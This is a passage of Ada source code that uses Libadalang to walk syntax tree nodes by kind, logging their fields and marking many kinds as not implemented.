when Ada_Explicit_Deref =>
declare
Explicit_Deref_Node : constant LAL.Explicit_Deref := LAL.As_Explicit_Deref (Node);
Prefix : constant LAL.Name := LAL.F_Prefix (Explicit_Deref_Node);
begin
Log ("Prefix: " & Prefix.Debug_Text);
end;
when Ada_Qual_Expr =>
declare
Qual_Expr_Node : constant LAL.Qual_Expr := LAL.As_Qual_Expr (Node);
Prefix : constant LAL.Name := LAL.F_Prefix (Qual_Expr_Node);
Suffix : constant LAL.Expr := LAL.F_Suffix (Qual_Expr_Node);
begin
Log ("Prefix: " & Prefix.Debug_Text);
Log ("Suffix: " & Suffix.Debug_Text);
end;
when Ada_Char_Literal =>
declare
Char_Literal_Node : constant LAL.Char_Literal := LAL.As_Char_Literal (Node);
-- Denoted_Value : constant LALCO.Character_Type := LAL.P_Denoted_Value (Char_Literal_Node);
begin
-- Log ("Denoted_Value: " & Denoted_Value.Debug_Text);
NULL;
end;
when Ada_Identifier =>
declare
Identifier_Node : constant LAL.Identifier := LAL.As_Identifier (Node);
begin
NULL;
end;
when Ada_Op_Abs =>
declare
Op_Abs_Node : constant LAL.Op_Abs := LAL.As_Op_Abs (Node);
begin
NULL;
end;
when Ada_Op_And =>
declare
Op_And_Node : constant LAL.Op_And := LAL.As_Op_And (Node);
begin
NULL;
end;
when Ada_Op_And_Then =>
declare
Op_And_Then_Node : constant LAL.Op_And_Then := LAL.As_Op_And_Then (Node);
begin
NULL;
end;
when Ada_Op_Concat =>
declare
Op_Concat_Node : constant LAL.Op_Concat := LAL.As_Op_Concat (Node);
begin
NULL;
end;
when Ada_Op_Div =>
declare
Op_Div_Node : constant LAL.Op_Div := LAL.As_Op_Div (Node);
begin
NULL;
end;
when Ada_Op_Double_Dot =>
declare
Op_Double_Dot_Node : constant LAL.Op_Double_Dot := LAL.As_Op_Double_Dot (Node);
begin
NULL;
end;
when Ada_Op_Eq =>
declare
Op_Eq_Node : constant LAL.Op_Eq := LAL.As_Op_Eq (Node);
begin
NULL;
end;
when Ada_Op_Gt =>
declare
Op_Gt_Node : constant LAL.Op_Gt := LAL.As_Op_Gt (Node);
begin
NULL;
end;
when Ada_Op_Gte =>
declare
Op_Gte_Node : constant LAL.Op_Gte := LAL.As_Op_Gte (Node);
begin
NULL;
end;
when Ada_Op_In =>
declare
Op_In_Node : constant LAL.Op_In := LAL.As_Op_In (Node);
begin
NULL;
end;
when Ada_Op_Lt =>
declare
Op_Lt_Node : constant LAL.Op_Lt := LAL.As_Op_Lt (Node);
begin
NULL;
end;
when Ada_Op_Lte =>
declare
Op_Lte_Node : constant LAL.Op_Lte := LAL.As_Op_Lte (Node);
begin
NULL;
end;
when Ada_Op_Minus =>
declare
Op_Minus_Node : constant LAL.Op_Minus := LAL.As_Op_Minus (Node);
begin
NULL;
end;
when Ada_Op_Mod =>
declare
Op_Mod_Node : constant LAL.Op_Mod := LAL.As_Op_Mod (Node);
begin
NULL;
end;
when Ada_Op_Mult =>
declare
Op_Mult_Node : constant LAL.Op_Mult := LAL.As_Op_Mult (Node);
begin
NULL;
end;
when Ada_Op_Neq =>
declare
Op_Neq_Node : constant LAL.Op_Neq := LAL.As_Op_Neq (Node);
begin
NULL;
end;
when Ada_Op_Not =>
declare
Op_Not_Node : constant LAL.Op_Not := LAL.As_Op_Not (Node);
begin
NULL;
end;
when Ada_Op_Not_In =>
declare
Op_Not_In_Node : constant LAL.Op_Not_In := LAL.As_Op_Not_In (Node);
begin
NULL;
end;
when Ada_Op_Or =>
declare
Op_Or_Node : constant LAL.Op_Or := LAL.As_Op_Or (Node);
begin
NULL;
end;
when Ada_Op_Or_Else =>
declare
Op_Or_Else_Node : constant LAL.Op_Or_Else := LAL.As_Op_Or_Else (Node);
begin
NULL;
end;
when Ada_Op_Plus =>
declare
Op_Plus_Node : constant LAL.Op_Plus := LAL.As_Op_Plus (Node);
begin
NULL;
end;
when Ada_Op_Pow =>
declare
Op_Pow_Node : constant LAL.Op_Pow := LAL.As_Op_Pow (Node);
begin
NULL;
end;
when Ada_Op_Rem =>
declare
Op_Rem_Node : constant LAL.Op_Rem := LAL.As_Op_Rem (Node);
begin
NULL;
end;
when Ada_Op_Xor =>
declare
Op_Xor_Node : constant LAL.Op_Xor := LAL.As_Op_Xor (Node);
begin
NULL;
end;
when Ada_String_Literal =>
declare
String_Literal_Node : constant LAL.String_Literal := LAL.As_String_Literal (Node);
-- Denoted_Value : constant LALCO.Stringacter_Type := LAL.P_Denoted_Value (String_Literal_Node);
begin
-- Log ("Denoted_Value: " & Denoted_Value.Debug_Text);
NULL;
end;
when Ada_Null_Literal =>
declare
Null_Literal_Node : constant LAL.Null_Literal := LAL.As_Null_Literal (Node);
begin
NULL;
end;
when Ada_Int_Literal =>
declare
Int_Literal_Node : constant LAL.Int_Literal := LAL.As_Int_Literal (Node);
-- Denoted_Value : constant LALCO.Big_Integer := LAL.P_Denoted_Value (Int_Literal_Node);
begin
-- Log ("Denoted_Value: " & Denoted_Value.Debug_Text);
NULL;
end;
when Ada_Real_Literal =>
declare
Real_Literal_Node : constant LAL.Real_Literal := LAL.As_Real_Literal (Node);
begin
NULL;
end;
when Ada_Target_Name =>
declare
Target_Name_Node : constant LAL.Target_Name := LAL.As_Target_Name (Node);
begin
NULL;
end;
when Ada_Paren_Expr =>
declare
Paren_Expr_Node : constant LAL.Paren_Expr := LAL.As_Paren_Expr (Node);
Expr : constant LAL.Expr := LAL.F_Expr (Paren_Expr_Node);
begin
Log ("Expr: " & Expr.Debug_Text);
end;
when Ada_Quantified_Expr =>
declare
Quantified_Expr_Node : constant LAL.Quantified_Expr := LAL.As_Quantified_Expr (Node);
Quantifier : constant LAL.Quantifier := LAL.F_Quantifier (Quantified_Expr_Node);
Loop_Spec : constant LAL.For_Loop_Spec := LAL.F_Loop_Spec (Quantified_Expr_Node);
Expr : constant LAL.Expr := LAL.F_Expr (Quantified_Expr_Node);
begin
Log ("Quantifier: " & Quantifier.Debug_Text);
Log ("Loop_Spec: " & Loop_Spec.Debug_Text);
Log ("Expr: " & Expr.Debug_Text);
end;
when Ada_Raise_Expr =>
declare
Raise_Expr_Node : constant LAL.Raise_Expr := LAL.As_Raise_Expr (Node);
Exception_Name : constant LAL.Name := LAL.F_Exception_Name (Raise_Expr_Node);
Error_Message : constant LAL.Expr := LAL.F_Error_Message (Raise_Expr_Node);
begin
Log ("Exception_Name: " & Exception_Name.Debug_Text);
Log ("Error_Message: " & Error_Message.Debug_Text);
end;
when Ada_Un_Op =>
declare
Un_Op_Node : constant LAL.Un_Op := LAL.As_Un_Op (Node);
Op : constant LAL.Op := LAL.F_Op (Un_Op_Node);
begin
Log ("Op: " & Op.Debug_Text);
end;
end case;
end Process_Ada_Expr;
procedure Process_Ada_Handled_Stmts_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Handled_Stmts_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Declarative_Part_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Handled_Stmts_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Handled_Stmts_Range
case Kind is
when Ada_Handled_Stmts =>
declare
Handled_Stmts_Node : constant LAL.Handled_Stmts := LAL.As_Handled_Stmts (Node);
Stmts : constant LAL.Stmt_List := LAL.F_Stmts (Handled_Stmts_Node);
Exceptions : constant LAL.Ada_Node_List := LAL.F_Exceptions (Handled_Stmts_Node);
begin
Log ("Stmts: " & Stmts.Debug_Text);
Log ("Exceptions: " & Exceptions.Debug_Text);
end;
end case;
end Process_Ada_Handled_Stmts_Range;
procedure process_ada_interface_kind
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Handled_Stmts_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_interface_kind := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_interface_kind
case kind is
when ada_interface_kind_limited =>
declare
interface_kind_limited_Node : constant LAL.interface_kind_limited := LAL.As_interface_kind_limited (Node);
begin
NULL;
end;
when ada_interface_kind_protected =>
declare
interface_kind_protected_Node : constant LAL.interface_kind_protected := LAL.As_interface_kind_protected (Node);
begin
NULL;
end;
when ada_interface_kind_synchronized =>
declare
interface_kind_synchronized_Node : constant LAL.interface_kind_synchronized := LAL.As_interface_kind_synchronized (Node);
begin
NULL;
end;
when ada_interface_kind_task =>
declare
interface_kind_task_Node : constant LAL.interface_kind_task := LAL.As_interface_kind_task (Node);
begin
NULL;
end;
end case;
end process_ada_interface_kind;
procedure process_ada_Iter_Type
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Iter_Type";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Iter_Type := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Iter_Type
case kind is
when ada_Iter_Type_In =>
declare
Iter_Type_In_Node : constant LAL.Iter_Type_In := LAL.As_Iter_Type_In (Node);
begin
NULL;
end;
when ada_Iter_Type_Of =>
declare
Iter_Type_Of_Node : constant LAL.Iter_Type_Of := LAL.As_Iter_Type_Of (Node);
begin
NULL;
end;
end case;
end process_ada_Iter_Type;
procedure process_ada_Library_Item_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Library_Item_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Library_Item_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Library_Item_Range
case kind is
when ada_Library_Item =>
declare
Library_Item_Node : constant LAL.Library_Item := LAL.As_Library_Item (Node);
Has_Private : constant Boolean := LAL.F_Has_Private (Library_Item_Node);
item : constant LAL.Basic_Decl := LAL.F_Item (Library_Item_Node);
begin
Log ("Has_Private: " & Boolean'Image (Has_Private));
Log ("item: " & item.Debug_Text);
end;
this.add_not_implemented;
end case;
end process_ada_Library_Item_Range;
procedure process_ada_Limited_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Library_Item_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Limited_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Limited_Node
case kind is
when ada_Limited_Absent =>
declare
Limited_Absent_Node : constant LAL.Limited_Absent := LAL.As_Limited_Absent (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Limited_Present =>
declare
Limited_Present_Node : constant LAL.Limited_Present := LAL.As_Limited_Present (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Limited_Node;
procedure process_ada_Loop_Spec
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Loop_Spec";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Loop_Spec := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Loop_Spec
case kind is
when ada_For_Loop_Spec =>
declare
For_Loop_Spec_Node : constant LAL.For_Loop_Spec := LAL.As_For_Loop_Spec (Node);
Has_Reverse : constant Boolean := LAL.F_Has_Reverse (For_Loop_Spec_Node);
var_decl : constant LAL.For_Loop_Var_Decl := LAL.F_Var_Decl (For_Loop_Spec_Node);
loop_type : constant LAL.Iter_Type := LAL.F_Loop_Type (For_Loop_Spec_Node);
begin
Log ("F_Has_Reverse: " & Boolean'Image (Has_Reverse));
Log ("var_decl: " & var_decl.Debug_Text);
Log ("loop_type: " & loop_type.Debug_Text);
end;
this.add_not_implemented;
when ada_While_Loop_Spec =>
declare
While_Loop_Spec_Node : constant LAL.While_Loop_Spec := LAL.As_While_Loop_Spec (Node);
expr : constant LAL.Expr := LAL.F_Expr (While_Loop_Spec_Node);
begin
Log ("expr: " & expr.Debug_Text);
end;
this.add_not_implemented;
end case;
end process_ada_Loop_Spec;
procedure process_ada_Mode
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Mode";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Mode := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Mode
case kind is
when ada_Mode_Default =>
declare
Mode_Default_Node : constant LAL.Mode_Default := LAL.As_Mode_Default (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Mode_In =>
declare
Mode_In_Node : constant LAL.Mode_In := LAL.As_Mode_In (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Mode_In_Out =>
declare
Mode_In_Out_Node : constant LAL.Mode_In_Out := LAL.As_Mode_In_Out (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Mode_Out =>
declare
Mode_Out_Node : constant LAL.Mode_Out := LAL.As_Mode_Out (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Mode;
procedure process_ada_Not_Null
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Not_Null";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Not_Null := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Not_Null
case kind is
when ada_Not_Null_Absent =>
declare
Not_Null_Absent_Node : constant LAL.Not_Null_Absent := LAL.As_Not_Null_Absent (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Not_Null_Present =>
declare
Not_Null_Present_Node : constant LAL.Not_Null_Present := LAL.As_Not_Null_Present (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Not_Null;
procedure process_ada_Null_Component_Decl_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Null_Component_Decl_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Null_Component_Decl_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Null_Component_Decl_Range
case kind is
when ada_Null_Component_Decl =>
declare
Null_Component_Decl_Node : constant LAL.Null_Component_Decl := LAL.As_Null_Component_Decl (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Null_Component_Decl_Range;
procedure process_ada_Others_Designator_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Others_Designator_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Others_Designator_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Others_Designator_Range
case kind is
when ada_Others_Designator =>
declare
Others_Designator_Node : constant LAL.Others_Designator := LAL.As_Others_Designator (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Others_Designator_Range;
procedure process_ada_Overriding_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Overriding_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Overriding_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Overriding_Node
case kind is
when ada_Overriding_Not_Overriding =>
declare
Overriding_Not_Overriding_Node : constant LAL.Overriding_Not_Overriding := LAL.As_Overriding_Not_Overriding (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Overriding_Overriding =>
declare
Overriding_Overriding_Node : constant LAL.Overriding_Overriding := LAL.As_Overriding_Overriding (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Overriding_Unspecified =>
declare
Overriding_Unspecified_Node : constant LAL.Overriding_Unspecified := LAL.As_Overriding_Unspecified (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Overriding_Node;
procedure process_ada_Params_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Params_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Params_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Params_Range
case kind is
when ada_Params =>
declare
Params_Node : constant LAL.Params := LAL.As_Params (Node);
params : constant LAL.Param_Spec_List := LAL.F_Params (Params_Node);
begin
Log ("params: " & params.Debug_Text);
end;
this.add_not_implemented;
end case;
end process_ada_Params_Range;
procedure process_ada_Pragma_Node_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Pragma_Node_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Pragma_Node_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Pragma_Node_Range
case kind is
when ada_Pragma_Node =>
declare
Pragma_Node_Node : constant LAL.Pragma_Node := LAL.As_Pragma_Node (Node);
id : constant LAL.Identifier := LAL.F_Id (Pragma_Node_Node);
args : constant LAL.Base_Assoc_List := LAL.F_Args (Pragma_Node_Node);
-- associated_Decls : constant LAL.Basic_Decl_Array := LAL.P_Associated_Decls (Pragma_Node_Node);
begin
Log ("id: " & id.Debug_Text);
Log ("args: " & args.Debug_Text);
-- Log ("associated_Decls: " & associated_Decls.Debug_Text);
end;
this.add_not_implemented;
end case;
end process_ada_Pragma_Node_Range;
procedure process_ada_Prim_Type_Accessor_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Prim_Type_Accessor_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Prim_Type_Accessor_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Prim_Type_Accessor_Range
case kind is
when ada_Prim_Type_Accessor =>
declare
Prim_Type_Accessor_Node : constant LAL.Prim_Type_Accessor := LAL.As_Prim_Type_Accessor (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Prim_Type_Accessor_Range;
procedure process_ada_Private_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Private_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Private_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Private_Node
case kind is
when ada_Private_Absent =>
declare
Private_Absent_Node : constant LAL.Private_Absent := LAL.As_Private_Absent (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Private_Present =>
declare
Private_Present_Node : constant LAL.Private_Present := LAL.As_Private_Present (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Private_Node;
procedure process_ada_Protected_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Protected_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Protected_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Protected_Node
case kind is
when ada_Protected_Absent =>
declare
Protected_Absent_Node : constant LAL.Protected_Absent := LAL.As_Protected_Absent (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Protected_Present =>
declare
Protected_Present_Node : constant LAL.Protected_Present := LAL.As_Protected_Present (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Protected_Node;
procedure process_ada_Protected_Def_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Protected_Def_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Protected_Def_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Protected_Def_Range
case kind is
when ada_Protected_Def =>
declare
Protected_Def_Node : constant LAL.Protected_Def := LAL.As_Protected_Def (Node);
public_part : constant LAL.Public_Part := LAL.F_Public_Part (Protected_Def_Node);
private_part : constant LAL.Private_Part := LAL.F_Private_Part (Protected_Def_Node);
end_name : constant LAL.End_Name := LAL.F_End_Name (Protected_Def_Node);
begin
Log ("public_part: " & public_part.Debug_Text);
if not private_part.Is_Null then
Log ("private_part: " & private_part.Debug_Text);
end if;
if not end_name.Is_Null then
Log ("end_name: " & end_name.Debug_Text);
end if;
end;
this.add_not_implemented;
end case;
end process_ada_Protected_Def_Range;
procedure process_ada_Quantifier
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Quantifier";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Quantifier := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Quantifier
case kind is
when ada_Quantifier_All =>
declare
Quantifier_All_Node : constant LAL.Quantifier_All := LAL.As_Quantifier_All (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Quantifier_Some =>
declare
Quantifier_Some_Node : constant LAL.Quantifier_Some := LAL.As_Quantifier_Some (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Quantifier;
procedure process_ada_Range_Spec_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Range_Spec_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Range_Spec_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Range_Spec_Range
case kind is
when ada_Range_Spec =>
declare
Range_Spec_Node : constant LAL.Range_Spec := LAL.As_Range_Spec (Node);
F_Range : constant LAL.Expr := LAL.F_Range (Range_Spec_Node);
begin
Log ("F_Range: " & F_Range.Debug_Text);
end;
this.add_not_implemented;
end case;
end process_ada_Range_Spec_Range;
procedure process_ada_Renaming_Clause_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Renaming_Clause_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Renaming_Clause_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Renaming_Clause_Range
case kind is
when ada_Renaming_Clause =>
declare
Renaming_Clause_Node : constant LAL.Renaming_Clause := LAL.As_Renaming_Clause (Node);
renamed_object : constant LAL.Name := LAL.F_Renamed_Object (Renaming_Clause_Node);
begin
Log ("renamed_object: " & renamed_object.Debug_Text);
end;
this.add_not_implemented;
when ada_Synthetic_Renaming_Clause =>
declare
Synthetic_Renaming_Clause_Node : constant LAL.Synthetic_Renaming_Clause := LAL.As_Synthetic_Renaming_Clause (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Renaming_Clause_Range;
procedure process_ada_Reverse_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Reverse_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Reverse_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Reverse_Node
case kind is
when ada_Reverse_Absent =>
declare
Reverse_Absent_Node : constant LAL.Reverse_Absent := LAL.As_Reverse_Absent (Node);
begin
NULL;
end;
this.add_not_implemented;
when ada_Reverse_Present =>
declare
Reverse_Present_Node : constant LAL.Reverse_Present := LAL.As_Reverse_Present (Node);
begin
NULL;
end;
this.add_not_implemented;
end case;
end process_ada_Reverse_Node;
procedure process_ada_Select_When_Part_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Select_When_Part_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Select_When_Part_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Select_When_Part_Range
case kind is
when ada_Select_When_Part =>
declare
Select_When_Part_Node : constant LAL.Select_When_Part := LAL.As_Select_When_Part (Node);
cond_expr : constant LAL.Expr := LAL.F_Cond_Expr (Select_When_Part_Node);
stmts : constant LAL.Stmt_List := LAL.F_Stmts (Select_When_Part_Node);
begin
if not cond_expr.Is_Null then
Log ("cond_expr: " & cond_expr.Debug_Text);
end if;
if not stmts.Is_Null then
Log ("stmts: " & stmts.Debug_Text);
end if;
end;
this.add_not_implemented;
end case;
end process_ada_Select_When_Part_Range;
procedure Process_Ada_Stmt
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Ada_Stmt";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Stmt := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Stmt
case Kind is
when Ada_Accept_Stmt =>
declare
Accept_Stmt_Node : constant LAL.Accept_Stmt := LAL.As_Accept_Stmt (Node);
Name : constant LAL.Identifier := LAL.F_Name (Accept_Stmt_Node);
Entry_Index_Expr : constant LAL.Expr := LAL.F_Entry_Index_Expr (Accept_Stmt_Node);
Params : constant LAL.Entry_Completion_Formal_Params := LAL.F_Params (Accept_Stmt_Node);
begin
Log ("Name: " & Name.Debug_Text);
if not Entry_Index_Expr.Is_Null then
Log ("Entry_Index_Expr: " & Entry_Index_Expr.Debug_Text);
end if;
Log ("Params: " & Params.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Accept_Stmt_With_Stmts =>
declare
Accept_Stmt_With_Stmts_Node : constant LAL.Accept_Stmt_With_Stmts := LAL.As_Accept_Stmt_With_Stmts (Node);
Stmts : constant LAL.Handled_Stmts := LAL.F_Stmts (Accept_Stmt_With_Stmts_Node);
End_Name : constant LAL.End_Name := LAL.F_End_Name (Accept_Stmt_With_Stmts_Node);
begin
Log ("Stmts: " & Stmts.Debug_Text);
Log ("End_Name: " & End_Name.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_For_Loop_Stmt =>
declare
For_Loop_Stmt_Node : constant LAL.For_Loop_Stmt := LAL.As_For_Loop_Stmt (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Loop_Stmt =>
declare
Loop_Stmt_Node : constant LAL.Loop_Stmt := LAL.As_Loop_Stmt (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_While_Loop_Stmt =>
declare
While_Loop_Stmt_Node : constant LAL.While_Loop_Stmt := LAL.As_While_Loop_Stmt (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Begin_Block =>
declare
Begin_Block_Node : constant LAL.Begin_Block := LAL.As_Begin_Block (Node);
Stmt : constant LAL.Handled_Stmts := LAL.F_Stmts (Begin_Block_Node);
End_Name : constant LAL.End_Name := LAL.F_End_Name (Begin_Block_Node);
begin
Log ("Stmt: " & Stmt.Debug_Text);
if not End_Name.Is_Null then
Log ("End_Name: " & End_Name.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Decl_Block =>
declare
Decl_Block_Node : constant LAL.Decl_Block := LAL.As_Decl_Block (Node);
Decl : constant LAL.Declarative_Part := LAL.F_Decls (Decl_Block_Node);
